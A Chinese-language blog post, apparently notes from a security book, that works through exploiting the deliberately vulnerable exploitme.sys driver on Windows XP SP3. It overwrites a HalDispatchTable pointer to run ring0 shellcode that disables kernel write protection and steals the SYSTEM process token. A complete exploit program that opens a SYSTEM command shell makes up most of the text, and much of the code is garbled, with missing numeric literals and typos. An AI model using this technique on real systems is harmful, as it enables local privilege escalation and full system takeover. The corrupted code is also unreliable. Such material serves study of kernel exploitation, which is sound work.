OD: Kernel Exploit - 2 Programming

本节接前方,对 exploitme.sys 进行利用。

exploitme.sys 存在任意地址写任意内容的内核漏洞,现在采用执行 Ring0 Shellcode 的方式进行利用。

获取 HalDispatchTable 表地址 x

HalDispatchTable 是由内核模块导出的,要得到 HalDispatchTable 在内核中的准确地址,先要得到内核模块的基址,再加上 HalDispatchTable 与内核模块的偏移:

 NTSATUS NtSataus = STATUS_UNSUCCESSFUL;
ULONG ReturnLength = ;
ULONG ImageBase = ;
PVOID MAppedBase = NULL;
UCHAR ImageName[KERNEL_NAME_LENGTH] = {};
ULONG DllCharacteristics = DONT_RESOLVE_DLL_REFERENCES;
PVOID HalDispatchTable = NULL;
PVOID xHalQuerySystemInformation = NULL;
ULONG ShellCodeSize = (ULONG)EndofMyShellCode - (ULONG)MyShellCode;
PVOID ShellCodeAddress = NULL;
UNICODE_STRING DllName = {};
SYSTEM_MODULE_INFORMATION_EX *ModuleInformation = NULL;
int RetryTimes = ; //////////////////////////////////////////////////
// 获取内核模块基址和内核模块名称
//////////////////////////////////////////////////
// 获取内核模块列表数据大小到 ReturnLength
//////////////////////////////////////////////////
NtStatus = ZwQuerySystemInformation(
SystemModuleInformation,
ModuleInformation,
ReturnLength,
&ReturnLength);
if(NtStatus != STATUS_INFO_LENGTH_MISMATCH)
return; // 申请内存 存放内核模块列表数据
ModuleInformation = (SYSTEM_MODULE_INFORMATION_EX *)malloc(ReturnLength);
if(!ModuleInformaiton)
return;
// 获取内核模块列表数据到 ModuleInformation
NtStatus = ZwQuerySystemInformation(
SystemModuleInformation,
ModuleInformation,
ReturnLength,
NULL);
if(NtStatus != STATUS_SUCCESS)
{
free(ModuleInformation);
return;
} // 从内核模块列表获取内核第一个模块的基址和名称
ImageBase = (ULONG)(ModuleInformation->Modules[].Base);
RtlMoveMemory(ImageName,
(PVOID)(ModuleInformation->Modules[].ImageName +
ModuleInformation->Modules[].ModuleNameOffset),
KERNEL_NAME_LENGTH); // 释放存放内核模块列表的内存
free(ModuleInformation); // 获取内核模块的 UnicodeString
RtlCreateUnicodeStringFromeAsciiz(&DllName, (PUCHAR)ImageName); //////////////////////////////////////////////////
// 加载内核模块到本地进程
//////////////////////////////////////////////////
NtStatus = (NTSTATUS)LdrLoadDll(
NULL, // DllPath
&DllCHaracteristics, // DllCharacteristics
&DllName, // DllName
&MappedBase); // DllHandle
if(NtStatus)
return; //////////////////////////////////////////////////
// 获取内核 HalDispatchTable 函数表地址
//////////////////////////////////////////////////
HalDispatchTable = GetProcAddress((HMODULE)MappedBase, "HalDispatchTable");
if(HalDispatchTable == NULL)
return;
HalDispatchTable = (PVOID)((ULONG)HalDispatchTable - (ULONG)MappedBase + ImageBase);
xHalQuerySystemInformation = (PVOID)((ULONG)HalDispatchTable + sizeof(ULONG)); //////////////////////////////////////////////////
// 卸载本地进程中的内核模块
//////////////////////////////////////////////////
LdrUnloadDll((PVOID)MappedBase);

在 0x0 处申请一段内存,并写入 Ring0 Shellcode

在指定地址申请内存推荐使用 ZwAllocateVirtualMemory(),其第二个参数 BaseAddress 指向指定的要申请的内存地址。系统会从指定的地址开始向下搜寻,找到一段需要大小的内存。

 //////////////////////////////////////////////////
// 在 0x0 处申请本地进程内存 存放 Ring0 Shellcode
//////////////////////////////////////////////////
ShellCodeAddress = (PVOID)sizeof(ULONG);
NtStatus = ZwAllocateVirtualMemory(
NtCurrentProcess(), // ProcessHandle
&ShellCodeAddress, // BaseAddress
, // ZeroBits
&ShellCodeSize, // AllocationSize
MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN, // AllocationType
PAGE_EXECUTE_READWRITE); // Protect
if(NtStatus)
return;
// 存放 ShellCode
RtlMoveMemory(ShellCodeAddress, (PVOID)MyShellCode, ShellCodeSize);

利用漏洞向 xHalQuerySystemInformation 写入 0x0

 //////////////////////////////////////////////////
// 触发漏洞并利用
//////////////////////////////////////////////////
RtlInitUnicodeString(&DeviceName, L"\\Device\\ExploitMe");
// 打开 ExploitMe 设备
ObjectAttributes.Length = sizeof(OBJECT_ATTRIBUTES);
ObjectAttributes.RootDirectory = ;
ObjectAttributes.ObjectName = &DeviceName;
ObjectAttributes.Attributes = OBJ_CASE_INSENSITIVE;
ObjectAttributes.SecurityDescriptor = NULL;
ObjectAttributes.SecurityQualityOfService = NULL;
NtStatus = NtCreateFile(
&DeviceHandle, // FileHandle
FILE_READE_DATA |
FILE_WRITE_DATA, // DesiredAccess
&ObjectAttributes, // ObjectAttributes
&IoStatusBlock, // IoStatusBlock
NULL, // AllocationSize OPTIONAL
, // FileAttributes
FILE_SHARE_READ |
FILE_SHARE_WRITE, // ShareAccess
FILE_OPEN_IF, // CreateDisposition
, // CreateOptions
NULL, // EaBuffer OPTIONAL
); // EaLength
if(NtStatus)
{
printf("NtCreateFile failed! NtStatus=%.8X\n", NtStatus);
goto ret;
}
// 利用漏洞将 HalQuerySystemInformation() 地址改为 0x0
InputData = ;
NtStatus = NtDeviceIoControlFile(
DeviceHandle, // FileHandle
NULL, // Event
NULL, // ApcRoutine
NULL, // ApcContext
&IoStatusBlock, // IoStatusBlock
IOCTL_METHOD_NEITHER, // IoControlCode
&InputData, // InputBuffer
BUFFER_LENGTH, // InputBufferLength
xHalQuerySystemInformation, // OutputBuffer
BUFFER_LENGTH); // OutBufferLength
if(NtStatus)
{
printf("NtDeviceIoControlFile failed! NtStatus=%.8X\n", NtStatus);
goto ret;
}

调用 NtQueryIntervalProfile()

为检验 Ring0 Shellcode 被成功调用,在 Ring0 Shellcode 中将全局变量 g_isRing0ShellcodeCalled 赋为 1,调用完 NtQueryIntervalProfile() 后可检测。

 // 漏洞利用
while(RetryTimes > )
{
NtStatus = NtQueryIntervalProfile(
ProfileTotalIssues, // Source
NULL); // Interval
if(NtStatus == )
{
printf("NtQueryIntervalProfile() ok!\n");
}
Sleep();
if(g_isRing0ShellcodeCalled == )
break;
RetryTimes--;
}
if(RetryTimes == && g_isRing0ShellcodeCalled==)
printf("exploit failed!\n");
else
printf("exploit success!\n");

将 Ring0 Shellcode 写成假冒的 HalQuerySystemInformation()

 NTSTATUS MyShellCode(
ULONG InformationClass,
ULONG BufferSize,
PVOID Buffer,
PULONG ReturnedLength)
{
// 关闭内核写保护
__asm
{
cli
mov eax, cr0
mov g_uCr0, eax
and eax, 0xFFFEFFFF
mov cr0, eax
}
// do something in ring0
// TODO // 恢复内核写保护
__asm
{
sti
mov eax, g_uCr0
mov cr0, eax
}
// 将全局变量置 1
g_isRing0ShellcodeCalled = ;
reutrn ;
}
void EndofMyShellcode()
{
}

Ring0 Shellcode 的编写

提权到 SYSTEM

修改当前进程的 token 为 SYSTEM 进程的 token,这样当前进程就可以控制整个系统:

 NTSTATUS MyShellCode(
ULONG InformationClass,
ULONG BufferSize,
PVOID Buffer,
PULONG ReturnedLength)
{
// 关闭内核写保护
__asm
{
cli
mov eax, cr0
mov g_uCr0, eax
and eax, 0xFFFEFFFF
mov cr0, eax
}
// do something in ring0 // 提权到 SYSTEM
__asm
{
mov eax, 0xFFDFF124 // eax = KPCR (not 3G mode)
mov eax, [eax] // eax = PETHREAD of current thread
mov esi, [eax+0x220] // esi = PEPROCESS of current process
mov eax, esi
searchXp:
mov eax, [eax+0x88]
sub eax, 0x88 // eax = next PEPROCESS in process chain
mov edx, [eax+0x84] // edx = PID of the process
cmp edx, 0x4 // search SYSTEM process by PID
jne searchXp
mov eax, [eax+0xC8] // eax = SYSTEM process token
mov [esi+0xC8], eax // change the token of current process
}
// 恢复内核写保护
__asm
{
sti
mov eax, g_uCr0
mov cr0, eax
}
g_isRing0ShellcodeCalled = ;
reuturn ;
}

恢复内核 Hook/Inline Hook

以 SSDT Hook 为例介绍代码的编写。恢复代码可以放在 Ring0 Shellcode 中,但在恢复之前先要得到 SSDT 中原始的函数地址。获取原始地址可以在 Ring3 实现。

在 Ring3 中获取原始 SSDT 函数地址和内核中 SSDT 表的地址:

 // 全局变量 内核中 SSDT 表的地址
ULONG g_RealSSDT = ;
// 全局变量 SSDT 函数个数
ULONG g_ServiceNum = 0x11C;
// 全局变量 SSDT 函数原始地址数组
ULONG g_OrgService[0x11C];
//////////////////////////////////////////////
// 获取 SSDT 中函数的原始地址和 SSDT 表地址
//////////////////////////////////////////////
// 获取本地进程中加载的内核模块中的 KeServiceDescriptorTable 地址
ULONG KeSSDT = (ULONG)GetProcAddress((HMODULE)MappedBase,"KeServiceDescriptorTable");
if (KeSSDT == )
return;
// 获取本地进程中加载的内核模块中的 KiServiceTable 与 poh_ImageBase 的偏移
ULONG poh_ImageBase = ;
ULONG KiSSDT = FindKiServiceTable((HMODULE)MappedBase,KeSSDT-(ULONG)MappedBase,&poh_ImageBase);
if (KiSSDT == )
return;
// 获取本地进程中加载的内核模块中的 KiServiceTable 地址
KiSSDT += (ULONG)MappedBase;
// 遍历本地进程中加载的内核模块中的 KiServiceTable 指向的列表,并换算内核中原始 SSDT 函数地址
for (ULONG i = ; i < ServiceNum; i++)
{
g_OrgService[i] = *(ULONG*)(KiSSDT+i*sizeof(ULONG))+(ULONG)ImageBase-poh_ImageBase;
}
// 换算内核中 SSDT 表的地址
g_RealSSDT = KeSSDT - (ULONG)MappedBase + (ULONG)ImageBase;

得到原始 SSDT 函数地址和内核中 SSDT 表的地址后,Ring0 Shellcode 的任务就是恢复所有 Hook:

 // 恢复所有的 SSDT Hook
ULONG i;
for (i=; i<g_ServiceNum; i++)
{
*(ULONG*)(*(ULONG*)g_RealSSDT+i*sizeof(ULONG)) = g_OrgService[i];
}

添加调用门/中断门/任务门/陷阱门

详细知识参见看雪学院《rootkit ring3 进 ring0 之门系列》共四篇。

最后修改了随书光盘中测试 ExploitMe.sys 的 Ring3 测试代码,在 XP sp3 下测试能得到 SYSTEM 权限的 cmd.exe。但溢出之后会蓝屏,估计是其它代码调用了被修改过的 HalQuerySystemInformation(),代码如下:

 // exploit.cpp : Defines the entry point for the console application.
//
// env:
// os: windows xp sp3
// ide: vs 2008 #include "stdafx.h"
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <string.h>
#include "ntapi.h"
#pragma comment(linker,"/defaultlib:ntdll.lib") #define PAGE_SIZE 0x1000
#define OBJ_CASE_INSENSITIVE 0x00000040
#define FILE_OPEN_IF 0x00000003
#define KERNEL_NAME_LENGTH 0x0D
#define BUFFER_LENGTH 0x04 //触发漏洞使用的IoControlCode
#define IOCTL_METHOD_NEITHER 0x8888A003 //Ring0中执行的Shellcode
NTSTATUS Ring0ShellCode(
ULONG InformationClass,
ULONG BufferSize,
PVOID Buffer,
PULONG ReturnedLength)
{
int g_uCr0;
__asm
{
cli;
mov eax, cr0;
mov g_uCr0,eax;
and eax,0xFFFEFFFF;
mov cr0, eax;
}
// 提权到 SYSTEM
__asm
{
mov eax, 0xFFDFF124 // eax = KPCR (not 3G mode)
mov eax, [eax] // eax = PETHREAD of current thread
mov esi, [eax+0x220] // esi = PEPROCESS of current process
mov eax, esi
searchXp:
mov eax, [eax+0x88]
sub eax, 0x88 // eax = next PEPROCESS in process chain
mov edx, [eax+0x84] // edx = PID of the process
cmp edx, 0x4 // search SYSTEM process by PID
jne searchXp
mov eax, [eax+0xC8] // eax = SYSTEM process token
mov [esi+0xC8], eax // change the token of current process
}
// 恢复内核写保护
__asm
{
sti
mov eax, g_uCr0
mov cr0, eax
}
//g_isRing0ShellcodeCalled = 1;
return ;
} //申请内存的函数
PVOID MyAllocateMemory(IN ULONG Length)
{
NTSTATUS NtStatus;
PVOID BaseAddress = NULL;
NtStatus = NtAllocateVirtualMemory(
NtCurrentProcess(),
&BaseAddress,
,
&Length,
MEM_RESERVE |
MEM_COMMIT,
PAGE_READWRITE);
if(NtStatus == STATUS_SUCCESS)
{
RtlZeroMemory(BaseAddress, Length);
return BaseAddress;
}
return NULL;
} //释放内存的函数
VOID MyFreeMemory(IN PVOID BaseAddress)
{
NTSTATUS NtStatus;
ULONG FreeSize = ;
NtStatus = NtFreeVirtualMemory(
NtCurrentProcess(),
&BaseAddress,
&FreeSize,
MEM_RELEASE);
} //main函数
int _tmain(int argc, _TCHAR* argv[])
{
NTSTATUS NtStatus;
HANDLE DeviceHandle=NULL;
ULONG ReturnLength = ;
ULONG ImageBase;
PVOID MappedBase=NULL;
UCHAR ImageName[KERNEL_NAME_LENGTH];
ULONG DllCharacteristics = DONT_RESOLVE_DLL_REFERENCES;
PVOID HalDispatchTable;
PVOID xHalQuerySystemInformation;
ULONG ShellCodeSize = PAGE_SIZE;
PVOID ShellCodeAddress;
PVOID BaseAddress = NULL;
UNICODE_STRING DeviceName;
UNICODE_STRING DllName;
ANSI_STRING ProcedureName;
OBJECT_ATTRIBUTES ObjectAttributes;
IO_STATUS_BLOCK IoStatusBlock;
SYSTEM_MODULE_INFORMATION *ModuleInformation = NULL;
LARGE_INTEGER Interval;
ULONG InputData=; //清空控制台屏幕
system("cls"); //获取内核模块列表数据长度到ReturnLength
NtStatus = NtQuerySystemInformation(
SystemModuleInformation,
ModuleInformation,
ReturnLength,
&ReturnLength);
if(NtStatus != STATUS_INFO_LENGTH_MISMATCH)
{
printf("NtQuerySystemInformation get len failed! NtStatus=%.8X\n", NtStatus);
goto ret;
} //申请内存
ReturnLength = (ReturnLength & 0xFFFFF000) + PAGE_SIZE * sizeof(ULONG);
ModuleInformation = (SYSTEM_MODULE_INFORMATION *)MyAllocateMemory(ReturnLength);
if(ModuleInformation==NULL)
{
printf("MyAllocateMemory failed! Length=%.8X\n", ReturnLength);
goto ret;
} //获取内核模块列表数据
NtStatus = NtQuerySystemInformation(
SystemModuleInformation,
ModuleInformation,
ReturnLength,
NULL);
if(NtStatus != STATUS_SUCCESS)
{
printf("NtQuerySystemInformation get info failed! NtStatus=%.8X\n", NtStatus);
goto ret;
} //保存内核第一个模块(即nt模块)基址和名称,并打印
ImageBase = (ULONG)(ModuleInformation->Module[].Base);
RtlMoveMemory(
ImageName,
(PVOID)(ModuleInformation->Module[].ImageName +
ModuleInformation->Module[].PathLength),
KERNEL_NAME_LENGTH);
printf("ImageBase=0x%.8X ImageName=%s\n",ImageBase, ImageName); //获取内核模块名称字符串的Unicode字符串
RtlCreateUnicodeStringFromAsciiz(&DllName, (PUCHAR)ImageName); //加载内核模块到本进程空间
NtStatus = LdrLoadDll(
NULL, // DllPath
&DllCharacteristics, // DllCharacteristics
&DllName, // DllName
&MappedBase); // DllHandle
if(NtStatus)
{
printf("LdrLoadDll failed! NtStatus=%.8X\n", NtStatus);
goto ret;
} //获取内核模块在本进程空间中导出名称HalDispatchTable的地址
RtlInitAnsiString(&ProcedureName, (PUCHAR)"HalDispatchTable");
NtStatus = LdrGetProcedureAddress(
(PVOID)MappedBase, // DllHandle
&ProcedureName, // ProcedureName
, // ProcedureNumber OPTIONAL
(PVOID*)&HalDispatchTable); // ProcedureAddress
if(NtStatus)
{
printf("LdrGetProcedureAddress failed! NtStatus=%.8X\n", NtStatus);
goto ret;
} //计算实际的HalDispatchTable内核地址
HalDispatchTable = (PVOID)((ULONG)HalDispatchTable - (ULONG)MappedBase);
HalDispatchTable = (PVOID)((ULONG)HalDispatchTable + (ULONG)ImageBase); //HalDispatchTable中的第二个ULONG就是HalQuerySystemInformation函数的地址
xHalQuerySystemInformation = (PVOID)((ULONG)HalDispatchTable + sizeof(ULONG)); //打印HalDispatchTable内核地址和xHalQuerySystemInformation值
printf("HalDispatchTable=%p xHalQuerySystemInformation=%p\n",
HalDispatchTable,
xHalQuerySystemInformation); //设备名称的Unicode字符串
RtlInitUnicodeString(&DeviceName, L"\\Device\\ExploitMe"); //打开ExploitMe设备
ObjectAttributes.Length = sizeof(OBJECT_ATTRIBUTES);
ObjectAttributes.RootDirectory = ;
ObjectAttributes.ObjectName = &DeviceName;
ObjectAttributes.Attributes = OBJ_CASE_INSENSITIVE;
ObjectAttributes.SecurityDescriptor = NULL;
ObjectAttributes.SecurityQualityOfService = NULL;
NtStatus = NtCreateFile(
&DeviceHandle, // FileHandle
FILE_READ_DATA |
FILE_WRITE_DATA, // DesiredAccess
&ObjectAttributes, // ObjectAttributes
&IoStatusBlock, // IoStatusBlock
NULL, // AllocationSize OPTIONAL
, // FileAttributes
FILE_SHARE_READ |
FILE_SHARE_WRITE, // ShareAccess
FILE_OPEN_IF, // CreateDisposition
, // CreateOptions
NULL, // EaBuffer OPTIONAL
); // EaLength
if(NtStatus)
{
printf("NtCreateFile failed! NtStatus=%.8X\n", NtStatus);
goto ret;
}
//利用漏洞将HalQuerySystemInformation函数地址改为0
InputData = ;
NtStatus = NtDeviceIoControlFile(
DeviceHandle, // FileHandle
NULL, // Event
NULL, // ApcRoutine
NULL, // ApcContext
&IoStatusBlock, // IoStatusBlock
IOCTL_METHOD_NEITHER, // IoControlCode
&InputData, // InputBuffer
BUFFER_LENGTH, // InputBufferLength
xHalQuerySystemInformation, // OutputBuffer
BUFFER_LENGTH); // OutBufferLength
if(NtStatus)
{
printf("NtDeviceIoControlFile failed! NtStatus=%.8X\n", NtStatus);
goto ret;
} //在本进程空间申请0地址内存
ShellCodeAddress = (PVOID)sizeof(ULONG);
NtStatus = NtAllocateVirtualMemory(
NtCurrentProcess(), // ProcessHandle
&ShellCodeAddress, // BaseAddress
, // ZeroBits
&ShellCodeSize, // AllocationSize
MEM_RESERVE |
MEM_COMMIT |
MEM_TOP_DOWN, // AllocationType
PAGE_EXECUTE_READWRITE); // Protect
if(NtStatus)
{
printf("NtAllocateVirtualMemory failed! NtStatus=%.8X\n", NtStatus);
goto ret;
}
printf("NtAllocateVirtualMemory succeed! ShellCodeAddress=%p\n", ShellCodeAddress); //复制Ring0ShellCode到0地址内存中
RtlMoveMemory(
ShellCodeAddress,
(PVOID)Ring0ShellCode,
ShellCodeSize); //触发漏洞
NtStatus = NtQueryIntervalProfile(
ProfileTotalIssues, // Source
NULL); // Interval
if(NtStatus)
{
printf("NtQueryIntervalProfile failed! NtStatus=%.8X\n", NtStatus);
goto ret;
}
printf("NtQueryIntervalProfile succeed!\n");
system("start cmd.exe"); ret:
//释放申请的内存
if (ModuleInformation)
{
MyFreeMemory(ModuleInformation);
}
//卸载本进程中的内核模块
if (MappedBase)
{
LdrUnloadDll((PVOID)MappedBase);
}
//关闭句柄
if(DeviceHandle)
{
NtStatus = NtClose(DeviceHandle);
if(NtStatus)
{
printf("NtClose failed! NtStatus=%.8X\n", NtStatus);
}
}
return ;
}
上一篇:[蓝桥杯]ALGO-20.算法训练_求先序排列


下一篇:关于 SimpleMembership 中 CreateDate 的问题